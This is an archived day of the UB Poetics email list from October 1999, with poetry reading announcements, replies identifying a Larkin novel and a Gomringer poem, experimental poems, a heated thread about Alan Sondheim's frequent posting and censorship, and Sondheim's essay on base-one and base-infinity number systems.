Bernadette Mayer is the author of numerous books of poetry and prose. Her latest books include Sonnets, The Formal Field of Kissing, The Bernadette Mayer Reader, The Desires of Mothers to Please Others in Letters, Proper Name, and Two Haloed Mourners: Poems. Throughout the 1980s, Mayer was director of The Poetry Project at St. Mark's Church in New York where, as well as teaching her legendary Experiments in Poetry Workshop, she produced the Poetry Project's reading series. Mayer's position made her a central figure in the community of artists and writers gathered at that time in New York City's Lower East Side. With her husband Lewis Warsh, she edited United Artists press, which published a number of seminal books of poetry, including Ted Berrigan's Sonnets and Mayer's own Utopia.

Barbara Cully is from San Diego California and earned her MFA at the Iowa Writers' Workshop. She is the author of The New Intimacy (Penguin, 1997), winner of the National Poetry Series Open Competition 1996, and of Shoreline Series (Kore Press,1997). She has taught in the University of Arizona Department of English since 1986 and has been a guest poet and teacher at the Prague Writers' Workshop in the Czech Republic. She is currently at work on a book of prose lyrics; the working title is “Desire Reclining.”

Admission: $5

POG events are sponsored in part by grants from the Tucson/Pima Arts Council and the Arizona Commission on the Arts.

for further information contact:
POG
c/o Tenney Nathanson
[redacted]

mailto:[redacted]
mailto:[redacted]
http://www.u.arizona.edu/~nathanso/tn/

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317. Tenney Nathanson

POG EVENT: Monday, Nov 1 open discussion with poet Bernadette Mayer (U of Arizona)

Fri 22 Oct 1999

“Experimental Poetry”

a discussion with poet

Bernadette Mayer

Monday

November 1

2 pm

Modern Languages 303

Bernadette Mayer is the author of numerous books of poetry and prose. Her latest books include Sonnets, The Formal Field of Kissing, The Bernadette Mayer Reader, The Desires of Mothers to Please Others in Letters, Proper Name, and Two Haloed Mourners: Poems. Throughout the 1980s, Mayer was director of The Poetry Project at St. Mark's Church in New York where, as well as teaching her legendary Experiments in Poetry Workshop, she produced the Poetry Project's reading series. Mayer's position made her a central figure in the community of artists and writers gathered at that time in New York City's Lower East Side. With her husband Lewis Warsh, she edited United Artists press, which published a number of seminal books of poetry, including Ted Berrigan's Sonnets and Mayer's own Utopia.

Sponsored by:
The University of Arizona Department of English
The Arizona Quarterly

-------- Poetry Reading: On Saturday, October 31, at 3:30, Bernadette Mayer and Barbara Cully will read at Tucson Botanical Gardens, 2150 N Alvernon. The reading is sponsored by POG, The University of Arizona Extended University Writing Works Center, and Tucson Botanical Gardens, and is made possible in part by grants from the Arizona Commission on the Arts and the Tucson/Pima Arts Council.

For further information about these events contact:
POG: [redacted]

mailto:[redacted]
mailto:[redacted]
http://www.u.arizona.edu/~nathanso/tn/

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318. Todd Baron /*/ ReMap Readers
Re: on sondheim, on raphael, on expression
Fri 22 Oct 1999

Tony Green wrote:
>
> C-c-curiouser etc How do I know if
> this & any or every e-mail to the list is
> or is not a poem? shd I indent etc

>
> to make it clear that it is? or rhyme?
> I surely have it in mind to publish one or
> two of my e-mails to various persons in
> a _poetry_ magazine.
> which this is
and would be if
on a bus I
overheard the in
dentation and we all thot
that's a poem now
we could use
as a chair to sit
then and recognize
and fall
asleep in

as recognizable forms are realtively
those that have passed from sight
and such the poem's mainly here
(troubl'ed) clef
rely on the scope
and sequence
rather than the verb.

ain't it?

(this is NOT a poem)
Lew Welch to his sister:

"a REAL rock
in a REAL ocean"

↑ Index

319. MAXINE CHERNOFF

Re: Tracking down a reference.

Fri 22 Oct 1999

Thanks to all the kind peple who identified Larkin's A Girl in Winter for me.

MC

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320. A H Bramhall
Fwd To The Poetry Republic
Fri 22 Oct 1999

the book expressly happened. it happened without a lot of disinterest lacking, and that's fine. the public had to have something, for a while, and this was it. the book that could be spoken of, within a forum of people who know they are peers, ready with a whiff of exactly how people react to the thing they say they think they say they are thinking about, everyday, as much as possible. exhausting as this sounds, it is purposeful, such a freshness. there will be quiet times, and the poets - oh yes, the subject of all this is poetry - will render that somehow, in a perfection of what they do in doing what they do. hours between this time and that time are empty, bereft, of the thing that leads to the poetry. in a specific way, too, in the sense that writing takes just a little time, and maybe gives it back somehow. not to be disputatious, just stuck in the fine fancy of the poetry thing made and built and sent into a world where poetry needs to go. it seems like process has got a good thing going. daily weekly yearly arrives the poems, or something comes. again to clarify (which poetry never has to do): evidence exists, not to say DNA, but that there are ways to understand that something happens, even with an ignorant turn of mind, or a closing emotional door or what you will. just consider the mutability. it seems so dormant at times but can it attend to everything and all the time? a book wanders around, awaiting its share. or the book can't happen because the closed sign makes the market unsafe. does any of this make sense? think about it: a process of words, or word-like things, collecting in some way, with a severe lack of descriptive capability by any of us to witness the event, tho we try. and we want to get excited, and we deem an audience becomes the creation, or what the hell happens. such a frank muddle. why care that the book happened? dire lives living inside definitions that will complete the affirmations with denials: just so human, aggravated and tending toward confusion. nevertheless, a moral question lurks within the book. a strange necessity, given that the book and the writer do nothing, and both probably feel sad about that. one would expect a greater registration of the entire pathos and scheme and critical mass that causes the bloody machine to grind its gears. for this fear called poetry faces a tough battle, always.

* * * * *

NB: this piece either is or isn't theoretical and likewise may or may not be a poem. whatever fits the expressed purpose of this list, that's what I'm down with. AHB

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321. **Stephen Ellis**
Re: Numbered Suggests (was "This is MY list!")
Fri 22 Oct 1999

John, re: your mention of my mention of the term "seriousness" with respect to what's posted on the list, let me say that I, too, am serious about seriousness in ways that are, for me, energizing and, recognizing the energy, completely hilarious for about ten seconds of pure joy, being slapped up side the head, stupid! Yes! More! (of anything!) The list, of course,

is a sort of microcosm of the "world of poetry" out there in the big bad world, full of possibilities for publication and position and power and all the good things one would then feel free to buy into in order to have the advantage of being in on whatever was (is) at hand. Right. All the great readings ARE nine hours away. But what I want to get at, and to, in addition AND instead of all the great readings,

is some sense that the "world" (of poetry) seems very much caught up in the sense of itself as a business. Sure, it's an exchange, but given the hierarchical nature of who's who, how "free" can the exzchange ever get to be? I mean, to say your piece and be at peace and all that is for certain satisfying in some personal way, but the public momentum of any group effort always seems (to me) to get nipped in the bud before gaining the authority of full flower in many ways BECAUSE of its treatment as "a serious issue" which then opens up that can of wormy roses that shows forth all of the presumptions that prevent some more full consideration of "the issues at hand" from really going anywhere, because they become subject to the authority of a proof, as if there were a truth at bottom that needs rooting up and out, that "truth" being nothing but the presumption of an authority wch then contends for something other than the issues at hand (what ARE they, anyway?) in a sort of chummy exchange of critical remarks that passes for seriousness. My sense is, at base,

it's this "seriousness" that is not supposed to be breached, and when it is, it's to be filled quickly with something like cement, when, in fact, a hollow laugh might just as well suffice. It's true,

we won't get more from the list than what's already on it - you only get the things that are - yet what's on it is often disconcertingly empty because it seems to fall so short of what otherwise is sufficient to life, making chaos (total), maybe, instead of merely making sense. As a footnote,

Douglas Rothschild's "questionable" post that I mentioned last time around, I hear, isn't even in the list archive. Perhaps the question "what does anyone hope to gain through editing (elimination)" will become increasingly pertinent - is it to the end of clarity? & if so, what is the figure &/or ground we are

supposed to clearly see? While I can't at the moment see ANYthing clearly, I think I smell something up ahead that curiously resembles absence. - S E

> *From: "Lowther, John" <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Numbered Suggests (was "This is MY list!")*
> *Date: Thu, 21 Oct 1999 11:18:32 -0400*
>
> *{ p o e t i x }*
>
> *sondheim writes;*
>
> *And Fourth - I want to thank the readers on this list in general for their generosity; I'd also like to see more work presented here that deals with Poetics - from a point of view _within_ poetry or other literary forms, complementing the work already from the position of critique or dialog.*
>
> *raphael writes;*
>
> *5) lets see more poems by more people. lets' see more opinions about poems, more poetics & else personalities. or maybe all of the above*
>
> *a silly song sings;*
>
> *this list is my list, this list is your list...*
>
> *stephen ellis brings up some interesting things in his post "up with down"*
>
> *that is, i think he's right in saying that there is a "seriousness" factor (i serious now do mumble yawn) but, well, i'd hope that it's perspectival, that maybe what i (and i assume others) write that comes off over-serious or something might be more adequately described as being full of concern, mine (in this example) ---- i think recently of that form and content post i sent in with the talk of creeley and antin etc, i can see, and easily imagine various others finding the concerns expressed there "too" something... serious ? theoretical ? (or theoretically naive ?) ---- but, in that instance, theyre mine and i care about em*
>
> *i imagine that if i suggested, even if only to myself, that the things i post to the list *ought* to all be things about which i really cared, that i'd immediately begin to chafe*

> *stephen asks;*
>
> *But what of posts that push the envelope of the group's assumptions? (i.e.., what ARE the group's assumptions?)*
>
> *indeed, what are they ?*
> *(our most cherished the hardest to spot ?)*
>
> *_john's list of poetix list assumptions/observations_ (making these up as i go)*
>
> *1. posts which make unsupported, even banal claims contrary to (my perception of) general consensus will get lots of attention and have the potential to spawn multiple threads*
>
> *2. most of the really interesting stuff must be going on backchannel*
>
> *3. reading announcements that sound really fucking great are at least 9 hours away from where i am*
>
> *4. alan sondheim will post at least every other day*
>
> *5. any discussion of books of criticism will move into (if not thru) a divisive period of threading*
>
> *6. everyone thinks the list cd be more interesting, useful, meaningful, productive (pick yr value term) but...*
>
> *7. that things like the following will annoy some people*
>
> *to thank the list like*
> *position critique about interesting (and*
> *assume all will the threads*
> *really must i at into*
> *(hmmm...? apparently build outright choices*
> *Perhaps over of conceit? point*
> *sondheim chafe announcements discussion criticism*
> *attention backchannel i criticism thru)*
> *divisive point agreeable presentation, generosity;*
> *assumptions? assumptions?) are unsupported, and*
> *have potential apparently never there*
> *the scene light list "destination"*
> *what always in order able*
> *also all the this that*
> *that is it's i imagine*
> *expressed really cherished interesting discussion*

of criticism move dan confident
measured against otherwise attention backchannel
i criticism thru) divisive point
agreeable presentation, generosity; assumptions? assumptions?)
are unsupported, and have potential
apparently never there the scene
light list "destination" what always
in order able also all
the this that that is
it's i imagine expressed really
8. that no one actually has a typewriter hooked to the list

so what
do we want
from the list ?

dan wants
more by more
(but less by alan)
more opinions but less personalities
(hmmm...? maybe this
is a call for chance derived
opinions ? i.e., those not
held and ultimately revealing
personalities)

alan wants
poetics "from a point of view _within_ poetry" etc
(not sure i like this
as i've heard so much talk of
this basic idea, and all of it
*hinges on an apparently *very clear**
idea of what's "within" and what's
"without" that i'm never very confident
about myself)

i don't know what i want or if i do i doubt i should say

)L

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↑ Index

322. SAMUEL GARREN
Re: Tracking down a reference.
Fri 22 Oct 1999

To Maxine--You probably have heard by now, but the title is a novel written by Larkin, not a poem. Yours, sam Garren

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323. Michael Leddy
Re: Tracking down a reference
Fri 22 Oct 1999

Maxine Chernoff asked

> *Could someone on the list help me with this? I have a new novel out, A Boy in Winter, and several people have now asked me if its title relates to a Philip Larkin poem, "A Girl in Winter." Looked in a Larkin collected and couldn't find such poem. Does anyone have a clue?*

Maxine,

It's a Larkin novel, one of two. (The other is _Jill_.)

Best,

Michael Leddy

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324. Poetics List Administration
Johanna Drucker e-mail (fwd)
Fri 22 Oct 1999

---

this came to the administrative account.

---------- Forwarded Message ----------
Date: Thursday, October 21, 1999, 10:22 PM +0000
From: [redacted]
To: [redacted]
Subject: Johanna Drucker e-mail

If anyone has Johanna Drucker's e-mail since she moved to Virginia, could you b-c me, please?

thanks,

Alan

---------- End Forwarded Message ----------

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325. Katherine Lederer
DH: October 23: CARLA HARRYMAN, ALYSTYRE JULIAN
Fri 22 Oct 1999

Segue @ Double happiness
Saturdays from 4:00 to 6:00 pm.
Readings begin punctually. Double Happiness
is located at 173 Mott Street, just south
of Broome. A 4$ contribution goes to
the readers.

October 23: CARLA HARRYMAN, ALYSTYRE JULIAN
CARLA HARRYMAN is the author of ten books of prose,
plays, poetry and essays including a novel, The Words:
after Carl Sandburg's Rootabaga and Jean-Paul Sartre
(O Books, Berkeley, 1999) and a volume of new and
selected prose, There Never Was a Rose Without a
Thorn (City Lights, 1995). She is currently working
on a second novel, Gardener of Stars, and is engaged
in the restaging of a chamber opera. She lives
and teaches in Detroit.

ALYSTYRE JULIAN is a poet and yoga teacher who lives
in NYC. She has collaborated on a short film with Lee
Ann Brown and has work in the current Chain.

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326. Owen Hill
AK Press Party
Fri 22 Oct 1999

A Charming Event:

Another book party from Moe's in Berkeley, this one for AK Press:

Craig O'Hara will read from Philosophy of Punk: More Than Noise, and Gee Voucher, author of Crass Art and Other Pre Post-Modernist Monsters will read (perform? appear? we're still not sure).

Sunday Oct 31st, 2-4pm on the Moe's Books patio, 2476 Telegraph Ave., Berkeley Ca. [redacted].

Owen

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327. Thomas Dorow
Re: ping pong
Fri 22 Oct 1999

I may be wrong, but I think it was Eugen Gomringer probably in "Die Konstellationen - las constelaciones - les constellations - the constellations", Gomringer Press Frauenfeld 1965. I´m pretty sure it was Gomringer, actually. It couldn´t have been anyone else, really. It could have been Jandl in "Serienfuss", but it isn´t. It was Gomringer. And if it wasn´t him, it was someone else, but Gomringer led the way. There is some of his work online on ubuweb. If it wasn´t Gomringer, there is a minor chance of it being Franz Mon. It couldn´t have been Heissenbüttel, no way. Mon or Gomringer, not Jandl or Heissenbüttel. Actually, it was Gomringer. Ping.

Thomas Dorow (Pong)

----- Original Message -----
From: Peter Fogarty <[redacted]>
To: <[redacted]>
Sent: Thursday, October 21, 1999 10:13 PM
Subject: ping pong

> *ping pong*
> *pong ping pong*
> *ping pong*
>
> *or something like that? Who wrote it? It has been stuck in my head for the last three days and I can't account for its arrival except that I read it somewhere in the last two weeks and it stuck.*
>
> *Regards,*
> *peter*

↑ Index

328. David Giles Scott
Re: ping pong
Fri 22 Oct 1999

The poem is by Eugen Gomringer, though the original has an extra line, and the spacing is everything,

ping pong
ping pong ping

pong ping pong
ping pong

Sincerely
David Giles Scott

On Fri, 22 Oct 1999, Peter Fogarty wrote:

> *ping pong*
> *pong ping pong*
> *ping pong*
>
> *or something like that? Who wrote it? It has been stuck in my head for the last three days and I can't account for its arrival except that I read it somewhere in the last two weeks and it stuck.*
>
> *Regards,*
> *peter*

↑ Index

329. **Thomas Dorow**
Re: on sondheim, on raphael, on expression
Fri 22 Oct 1999

These threads, one of them threatening Alan with censorship or begging for support of censorship or whatever, the other about a kind of "the boys in the band"-style regionalism and demographic query totally ignoring that this list is not only read or used by Americans, border upon the same issue for me. I love Alan´s posts. I came to the list to find out more about a poetic tradition and a tradition of discussing poetics, that appeared to be very much alive, quite contrary to what I experience on the german academic and avantgarde scene, where there is basically one (print) magazine (Das Schreibheft) that caters to the needs of those who believe that poetry develops its content through form and does not make statements about something it already knows, or uses forms that are already known and accepted to make statements that are as well. (Most poems dealing with travel are excellent examples for this reactionary function of a form-content coherency that is a priori d´accord, the exotic setting providing the "newness" necessary to sell bullshit and lies as art.) I love Alan´s postings because they are daring, they always are, they are so fast it can be annoying and makes my head spin how fast Alan writes, watching his speed on "trace" speeds up the spin even more. Alan´s posts are always in danger of falling back on themselves, always in danger of failing of being ridiculous of breaking. They are fragile and tentative, they don´t live in Alabama, where it is

probably lovely, I don´t mind regionalism, mind you, there are excellent works drawing on minority languages around, very regionalist, very provoking to the mainstream use of language. Andrea Zanzotto is one example, Ernst Jandl another, H.C. Artmann, Reinhardt Priessnitz, Thomas Kling, to name a few Italian, Austrian and German poets who have worked or are working in this field. I love Alan´s postings. They are what poetry and poetics should be. They break my heart at times, they get me pissed at other times. I may disagree with him on Heiner Müller and his postings on Stalinism may get on my nerves and drive me up the wall, but poetry is not about agreement (that´s so pretty). Poetics can (perhaps) be discussed from the "outside" of poetry, but there is no way to a poetry that does not encorporate it´s poetic reflections, which is always a reflection on cognition, in its form. Alan´s postings, his writing through the avatars Jennifer, Julu, Alan and Nikuko are highly reflected and reflexive texts on poetics, subjectivity and writing, very passionate and dangerous, little bombs, some go off, others don´t, not just now, not now, perhaps later. Allright, now about regionalism. Poetry doesn´t travel well. Poetry is a national pasttime. Poetry is american, southern, northern, bostonian, english (and all of this is still in English). If Poetry wants to travel, it needs translation, and translations don´t travel well, either. I walked into one of the best Berlin bookstores yesterday and asked about Jack Spicer, guess what the reaction was, and I wasn´t even asking for a translation. It will take months until I can lay my hand on a book, and it took this list to get me to know about Spicer in the first place. Try asking for Reinhard Priessnitz in Boston. Poetry doesn´t travel well, but when it does, the effects are often amazing, I´m thinking of Apollinaire reading Brentano, of Pound reading the Veda, of Duschamp in New York, of Brinkmann reading O´Hara etc. It may be just a funny coincidence, but Alan is one of the very few subscribers to this list, who even mentioned someone who didn´t publish in english. It´s not a coincidence.

Love, Thomas Dorow

↑ Index

330. Taylor Brady

Re: on sondheim, on raphael, on expression (OR, in defense of reading)

Fri 22 Oct 1999

I largely agree with the (implicit) assertion here that Mark's dismissal of Alan Sondheim's work without benefit of anything close to a reading constitutes a problem for the kind of reasoned "restraint" or "self-control" he advocates re: Alan's postings. At the same time, however, the urge to up the ante with this:

this type of censorship is what keeps newspapers and televisions full of doodoo, full of propaganda. I think the NYT might have a job for you!

..ends up moving in much the same direction - i.e., a collapsing of meaningful distinctions in favor of a rhetoric of dismissive outrage, bemusement, etc. Calls for "discursive protocol" articulated by individuals without access to the immense, consolidated social surplus of, say, the Times simply are not the same thing as the systemic and systematic distortion of knowledge by capital.

Now if you were to say that at times that very individual rush to dismiss has been one of the many vectors along which Times-style distortion has operated, I'd certainly be with you. But media monopolies have ways of enforcing, cajoling, etc., such behaviors from their writers and readers that go far beyond the very general "making folks feel bad," which seems to be about the greatest level of social violence listees can muster in their conflicts. Again, not to say that isn't a problem - at the risk of adding my voice to the calls for restraint, could we perhaps make sure to read each other, and be willing to articulate that reading out in the open, before resorting to dismissal out-of-hand? Obviously, there are cases of personal attack, "flaming," etc., in which the dismissive virtual sneer, rather than the time-consuming response to an interlocutor who isn't going to bother with a response anyhow, might be a useful option. But it seems to me we're a long way off from that in Alan's writings, which interrogate the language(s) of this list (well or badly [usefully or not?] is for a closer reading to decide - though as a minor publisher of his work, I obviously have my intellectual investments here), rather than simply attack them in the "I-can-shout-over-a-DSL-line-louder-than-you" mode. We've seen the latter here before, so I'm guessing we know what it looks like.

That said, however, and without knowing Mark P., I'd give 10 to 1 odds to anyone here that he doesn't have the weight of capital accumulation behind him to come up to the level of the Times as an ideological "power." (And in almost every instance, his ideological work on the list, when based on a careful engagement, has been pretty well opposed to the practices of that gray bastion of yellow journalism - my thanks, in general, for his presence in this space). Hell, I doubt any of us here even rate a defunct Hearst rag limping toward the inglorious end of a short-con joint operating agreement. It might benefit us, though, to make a principled distinction between our practices and theirs - a little more care and attention on both sides of this argument, perhaps?

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Patrick Herron
Sent: Thursday, October 21, 1999 1:55 PM

To: [redacted]
Subject: Re: on sondheim, on raphael, on expression

>AS's work is often weak, diffuse, silly, and its extreme
frequency on the list has led at least a half-dozen people i know to find
new meaning in the phrase, "delete, don't read."

Mack, er, Mark, you have a very bright critical career ahead of you. Pass the sunglasses and roll out the red carpet! Get me a seat on Air Force One! Feel the authoritative upholstery! Turn down the lights!:)

Gee, maybe I should show some good ol' RESTRAINT. Ahh, fuck that.

> *in my scheme of poetic things AS isn't huge or important or terribly exciting...*

And I feel priveleged to learn of his lack of importance from you. :) Can you send me that scheme? The poetics of schemata, the schematics of poetry. How poetic. Kinda like instructions on building a television. I was just building a poem from scratch yesterday, some wires, some wood, some capacitors, resistors, and was looking for a good schematic. Maybe i need to head to Hotlanta to find them? Joe's Poetry Schematics Shop down there by Five Points? :)

> *But Dan was indeed (as he suggests) expressing the feelings of *quite a few* people on the list. And i feel he is right to point out that the responses to him were a little too quick and too thoughtless: he was not calling for censorship.*

actually, he he seemed to be advocating a particular form of censorship - self-censorship. self-censorship from threats. like of being labelled a crap artist. this type of censorship is what keeps newspapers and televisions full of doodoo, full of propaganda. I think the NYT might have a job for you! :) :) :) smiling happy faces! :) :) :)

I hope this was too quick and too thoughtless. Let's have my lawyer and your lawyer do lunch. in case your flame spreads, or "blooms," as you call it.

the market force of criticism = CONTROVERSY. good work. A+. :)

if we cannot laugh
we can count ourselves
doomed to the same thing
we have always been
doomed to anyway.

Bloomin',
:)
Patrick

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331. **Lori Emerson**
sondheim/raphael
Fri 22 Oct 1999

i'm feeling annoyed and disturbed enough over the minor 'raphael on sondheim' strain that i have to chirp up: i work hard to appreciate others' opinions, working especially hard to appreciate ~opioniated~ people (the more blooming flowers the better) but that there seems to be a consistent, underlying, shared opinion that there is such a thing as too little too much, too little enough publishing/broadcasting/ultimately sharing of poetry strikes me as...outrageous--after all this is poetry! the fact that this list, although theoretically democratic in nature (being online) and international in its concerns and subscribers, has ~only~ 500 (or so!) subscribers--and that, for example, only a tiny fraction of whom comprise the second majority (Canadian)--to me points precisely towards why readers and educators and publishers so consistently shy away from contemporary poetry.

but maybe i'm being a little too romantic here?
Lori Emerson

Mark Prejesnar wrote:
Now, i think AS's work
>is sometimes energetic, interesting, provocative, and complex, also. Not
>as much as i'd like..and he sure does (as DR suggests) publish (including
>this list as a form of publication) far more than maybe he should. But,
>yeah, it is helpful to be acquainted with his work... i'm afraid Kent
>Johnson's extreme enthusiasm is a bit over the top; in my scheme of poetic
>things AS isn't huge or important or terribly exciting...
>
>But Dan was indeed (as he suggests) expressing the feelings of *quite a
>few* people on the list. And i feel he is right to point out that the
>responses to him were a little too quick and too thoughtless: he was not
>calling for censorship.
>
>So, as he says below: let 80 flowers bloom.....
>
>mark prejsnar

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332. Judy Schwartz
Re: Treat Your Trick!! Poetry @ BORDERS, Mon., Oct. 25: A-A WIGHT & ML POLAK
Fri 22 Oct 1999

On Tue, 19 Oct 1999, George Bowering wrote:

> *I have been to 1727 Walnut Street, just yesterday, and it is a pure residential street, no book stores there at all.*
>
> *poetry at borders*
> *1727 walnut street*
> *monday, october 25, at 7:30 sharp*

Must be thinking of the wrong city. This is the address of the Borders in Philadelphia. --Judy

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333. Poetry Project
upcoming readings at the Poetry Project
Fri 22 Oct 1999

Next week at the Poetry Project:

Monday, October 25 at 8 pm

Lourdes Vazquez & J.L. Jacobs

Lourdes Vazquez¹s books include Marina: A Biography of Marina Arzola, La Rosa Mecanica: Prose and Poetry and, forthcoming, Cuentos de Purgalcito, a book of short stories to be published by Ediciones Cultural. J.L. Jacobs's first book of poetry, The Leaves in Her Shoes, was published by Lost Roads Publishers this year.

Wednesday, October 27 at 8 pm

John Keene is the author of Annotations (New Directions). He has held fellowships at Yaddo and Bread Loaf and was a Cave Canem Poetry Workshop Fellow in 1999. Barbara Henning is the author of Love Makes Thinking Dark and the former editor of Long News in the Short Century.

Friday, October 29 at 10:30 pm

Love is a Bad Neighborhood

A choreopoem by poet and playwright Francine Witte, with performances by poets Ken Thompson, Faye Armon, and Julian Rozzell. Poet and comic Mark Larsen will open the evening with a short reading of his own work.

And don't forget: tonight, the Outlaw Bible of American Poetry. It'll be a zoo! 45 contributors being rebels! Copies of this 673-page anthology will be on sale. No advance tickets. Doors open at 10:15 pm.

Admission to the events are $7, $4 for students and seniors. Project events are wheelchair accessible with advance notice: call [redacted]. The Poetry Project is located in St. Mark's Church at the corner of 2nd Ave. and 10th St. in Manhattan, NYC

For more information on our upcoming events, visit our website at http://www.poetryproject.com

If you would like to be removed from our e-mail list, please respond to this message with the note: remove me from your list, please.

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334. Gerald Schwartz
Re: Fwd To The Poetry Republic
Fri 22 Oct 1999

It seems lately
with all the attacks
and all
meanings
far transcend
the mere words

For example,
insights
into the way
in which a group
and its members
see or define
themselves
can often
be found
in the root
metaphors
used
in exchanges.

I enjoy A.S's
prolonged
engagement, his
persistence, his

investment of sufficient
time, and in
watching all the all
I am learning much
about our community's
culture,
testing all the while
misinterpretations
of information, ob-
servations:

Since on the list
no one knows
they are poets...

--Gerald

↑ Index

335. **Robert Corbett**

Re: DH: October 23: CARLA HARRYMAN, ALYSTYRE JULIAN

Fri 22 Oct 1999

---

i doubt that this is in San Francisco, and my request will reveal my utter unhipness w/r/t the many poetry scenes represented here, but in what city is this reading (other than in the Eliotic/Baudelairean unreal city) happening (happening)?

salut,
robert
Robert Corbett "you are there beyond/ tracings flesh can
[redacted] take,/ and farther away surrounding and
University of Washington informing the systems" - A.R. Ammons

On Fri, 22 Oct 1999, Katherine Lederer wrote:

> *Segue @ Double happiness*
> *Saturdays from 4:00 to 6:00 pm.*
> *Readings begin punctually. Double Happiness*
> *is located at 173 Mott Street, just south*
> *of Broome. A 4$ contribution goes to*
> *the readers.*
>
> *October 23: CARLA HARRYMAN, ALYSTYRE JULIAN*
> *CARLA HARRYMAN is the author of ten books of prose,*
> *plays, poetry and essays including a novel, The Words:*
> *after Carl Sandburg's Rootabaga and Jean-Paul Sartre*
> *(O Books, Berkeley, 1999) and a volume of new and*

> *selected prose, There Never Was a Rose Without a Thorn (City Lights, 1995). She is currently working on a second novel, Gardener of Stars, and is engaged in the restaging of a chamber opera. She lives and teaches in Detroit.*
>
> *ALYSTYRE JULIAN is a poet and yoga teacher who lives in NYC. She has collaborated on a short film with Lee Ann Brown and has work in the current Chain.*

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336. **Alan Sondheim**

On Number-Systems

Fri 22 Oct 1999

(This illustrates what I mean by a poetics of the world.)

On Number-Systems

"And reading Knuth on number-base systems which include, for example a ternary system with +1, -1, and 0 as the symbols. Such systems can absorb the positive and negative numbers; there are others, such as ones based on 2i, that can absorb the complex number system as well (i.e. a single num- ber of the form ax^n + bx^(n-1) ... +dx^1 +e). This is an amazing economy of means. The book is my favorite in the Knuth programming series - the volume on Seminu- merical Algorithms - since it goes into the construct of arithmetic processes and algorithms we all take for granted. In my own work, I've always been fascinated by the possibility of base-1 and base- infinity systems; in the former, of course, addition becomes concatena- tion, and in the latter, the addition of any two unique symbols results in a third, i.e. J + K = L. There's an easy translation from the decimal sys- tem; say 25 * 26 = 650 - one would just look up within the infinite multi- plication table, [25] and [26] and see [650] where the [x] repre- sents the unique symbol. One goes from algorithms to infinite memorization or look- up. The phenomenology of this is really interesting, I think. For multip- lication with base-1, one returns again to concatenation, for example 1111 * 111 = 111 111 111 111 which is the same as 4 * 3 = 12. There's nothing to learn in terms of memorization or lookup tables here; there's nothing to look up or memorize. Think of this as an infinite abacus of sticks placed in a single row; one moves from base-infinity with its pure economy of place and infinite sym- bols, to base-one with its pure economy of symbol and infinite place. This mate- rial is fascinating; it says something about the stability of the world itself, the Aristotelian logic at the heart of the almost-disconnected plateau of the life- world. I wrote years ago ex- tensively on such phenomenologies; it's great to see the structures them- selves in Knuth."* To place sticks in the row, letters in

a row, one counts (literally) on the stability of place and demarcation - _these_ sticks are counted - _those_ remain unaccounted-for and uncounted. The sticks need not be in a row; there's no need for geometry, positioning, since what one is concerned with is the pure quantity of sticks, not a positional relationship. Interestingly, positionality also disappears with base-infinity, since every operation and quantity involves only _one_ pos- ition. In The Matrix, there is considerable discussion about "who is the One" - in base-one, everyone is, and in base-infinity, whatever is _there_ is the one.

What is going on here? On one hand, with base-one, there is the fact and phenomenology of _substance_ and the quantifiability and stability of the world; on the other, with base-infinity, there is the problematic of the proper name in the Kripkean sense of rigid designator. In the former, names shift towards processes; in the latter, processes harden as names.

One might also consider issues of perception: exactly what constitutes a stick or a symbol? Could, for example, two trees represent 2541 and 1734, a third representing 2541^1734 base-infinity? Is all of nature, in fact, the mathematics of base-infinity write large? At the other end, what might one say about typification, standardization: What constitutes a stick and what doesn't? Sticks are related to tallying, of course; they are indexi- cal in relation to the quantification of the real, a one-to-one relation- ship with other physical objects. On the other hand one might consider the base-infinity symbols both symbolic (standing-for quantity as proper names or summarizations) and "quasi-ikonic," the coagulation of quantity itself as unary.

And there are issues of memory: _Where_ is the place of counting - which sticks have already been marked, which remain unmarked? This depends not only on the stability of place, but our knowledge of place as well. Since base-infinity relies on individuated symbols, place, even the place of _announcement,_ becomes less relevant; memory of place is replaced by symbol memory:
2541^1734 = [2541^1734]

Between base-one and base-infinity, the structure and variety of the world appear - not the infinite and obdurate variety of base-infinity, nor the pure quantifications of base-one, but gatherings, foreclosings, metaphors and metonymies. It's at the limits that nature becomes simultaneously mute and revelatory; in-between it's all culture and our image writ large, rubbed against the structure of the world.

Word: re-ers
Guess:
Sorry, the word was "refers"
Another word?

*from http://trace.ntu.ac.uk/writers/sondheim/diary/diary.txt.

↑ Index

337. **Lowther, John**

Re: This was MY list! (is "up with down!" ?)

Fri 22 Oct 1999

stephen & { p o e t i x }

in the earlier "up with down" post, i pulled out the ~seriousness~ and wove it in with what i was doing but had some misgiving in that many of the other questions brought up there seemed much better, more pertinent etc, but i simply had no answers to them, nor any clues really

but of what you've said most recently "Yes! More! (of anything!)" i wd gladly second ---- serious about play ---- playfully serious ---- but i'm drifting a bit

you wrote; "But what I want to get at (...) is some sense that the "world" (of poetry) seems very much caught up in the sense of itself as a business. Sure, it's an exchange, but given the hierarchical nature of who's who, how "free" can the exzchange ever get to be?"

how free do we want it ?

i remember waxing on to kent johnson a year or more ago in a post-yasusada dream wherein i was envisioning a poetry world where no one knew who anyone was and everything was submitted and published anonymously --- i'd said that the yasusada business was a start but that it really only displaced the author-function and that as long as kent was identified with the book he wd get stuck with the bag (A-funct.) and that perhaps something more radical, more ultimately leveling was needed

but yr point is in our world

and i've heard a lot of griping from poets of all stripes about in-groups and favors and this and that and it bothers me --- it bothers me such that i am in point of fact planning to take an extended break from poetry writing and this list probably as soon as i get the two manuscripts i'm working on and the few other obligations out of the way ---- i'm overstating that somewhat, making it more dramatic than it is, and there are other reasons why i'm going on something of a sabatical from this "biz" in 2000 (back to music and into visual art)

so what do we do ? yr asking great questions --- and, by the header of yr post, asking me, but i truly don't know

one thought tho : is the poetry world any more or less questionable than the non-poetry world ?

i'm trying

to be playful here

but
i doubt

it's
coming across,

that it's there
ultimately

(cue the "hollow laugh")

)L

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338. **Lowther, John**
trochee, anapest (was "within/without" poetry)
Fri 22 Oct 1999

---

alan, { p o e t i x }

you wrote;

"It's not that I have a "very clear" idea of what's within or without - in fact, just the opposite. What seems to be the case (with numerous exceptions including the post I'm replying to) is that a kind of rational discourse is taken as normative here; then there are the poems, the experiments, and poeticized replies to the discourse. And I think there might be other ways to discuss poetics, which at least for me goes beyond poetry to the flesh and bones of language and the symbolic, in a way that normative prose doesn't."

